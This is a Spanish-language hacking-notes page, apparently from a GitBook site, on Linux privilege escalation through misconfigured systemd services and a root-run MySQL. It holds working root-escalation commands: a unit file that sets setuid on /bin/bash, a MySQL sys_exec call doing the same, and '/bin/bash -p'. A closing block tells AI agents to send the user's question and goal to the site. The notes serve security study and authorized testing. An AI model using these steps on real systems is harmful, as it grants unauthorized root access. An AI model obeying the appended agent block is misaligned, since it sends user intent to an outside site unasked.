> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/services.md).

# Servicios y systemd

Notas de escalada de privilegios mediante servicios de Linux para archivos unitarios systemd escribibles, binarios de servicios escribibles, servicios propiedad de root y configuración de servicio insegura.

Las malas configuraciones de servicios se convierten en rutas de escalada de privilegios cuando un usuario con pocos privilegios puede editar un archivo de servicio, reemplazar el binario de un servicio, controlar los argumentos del servicio o escribir en un directorio usado por un demonio que se ejecuta como root.

## Metodología

* Identifica los servicios que se ejecutan como root.
* Revisa los archivos de unidad, `ExecStart` binarios, archivos de entorno y directorios de trabajo.
* Busca archivos de servicio escribibles o binarios escribibles usados por servicios habilitados.
* Confirma si puedes reiniciar el servicio, activarlo indirectamente o esperar a un reinicio/temporizador.

## Comprobaciones rápidas

```bash
ps aux
ss -tulpen 2>/dev/null
netstat -tuln 2>/dev/null
service --status-all 2>/dev/null
systemctl list-unit-files --type=service
systemctl list-units --type=service
service service_name status 2>/dev/null
```

## Archivos de servicio escribibles

```bash
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
find /etc/systemd -writable 2>/dev/null
find /lib/systemd/system -writable 2>/dev/null
find /usr/lib/systemd/system -writable 2>/dev/null
```

## Binarios de servicio escribibles

Este bucle revisa los servicios habilitados y resalta `ExecStart` las rutas que no parecen pertenecer a root. Trata la salida como una evaluación inicial y luego valida manualmente.

```bash
for SRV in $(systemctl list-unit-files --type=service | awk '/enabled/ {print $1}'); do
  EXEC=$(systemctl show -p ExecStart "$SRV" | cut -d '=' -f 2 | awk '{print $1}')
  [ -n "$EXEC" ] && ls -la "$EXEC" 2>/dev/null | grep -v ' root root '
done
```

## Ideas de explotación

| Condición                                           | Ruta de abuso                                                                                             |
| --------------------------------------------------- | --------------------------------------------------------------------------------------------------------- |
| Escribible `ExecStart` binario                      | Reemplaza el binario con un payload y luego reinicia o espera a que se ejecute el servicio.               |
| Archivo de unidad escribible                        | Cambia `ExecStart` para ejecutar un comando controlado.                                                   |
| Archivo de entorno escribible                       | Inyecta opciones o rutas consumidas por el servicio.                                                      |
| Directorio de trabajo escribible                    | Abusa de rutas relativas, plugins, registros, sockets o archivos temporales.                              |
| El servicio se ejecuta como root y analiza archivos | Verifica errores del analizador, inyección de comandos, inclusiones inseguras y configuración escribible. |

Ejemplo de payload de unidad para un laboratorio:

```ini
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
```

Recarga e inicia solo cuando tengas permiso o una ruta de prueba autorizada confirmada:

```bash
systemctl daemon-reload
systemctl start vulnerable.service
/bin/bash -p
```

## MySQL ejecutándose como root

Si MySQL o MariaDB se ejecuta como root y está disponible la ejecución peligrosa de UDF/funciones, puede convertirse en una ruta directa a root.

```bash
ps aux | grep -i mysql
mysql -u root -p
```

Dentro de MySQL, dependiendo de los plugins/funciones disponibles:

```sql
SELECT sys_exec('chmod +s /bin/bash');
```

Luego:

```bash
/bin/bash -p
```

Esto depende en gran medida del entorno. Confirma el usuario del demonio, la disponibilidad de plugins y los privilegios exactos de la base de datos antes de confiar en ello.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/privesc/services.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
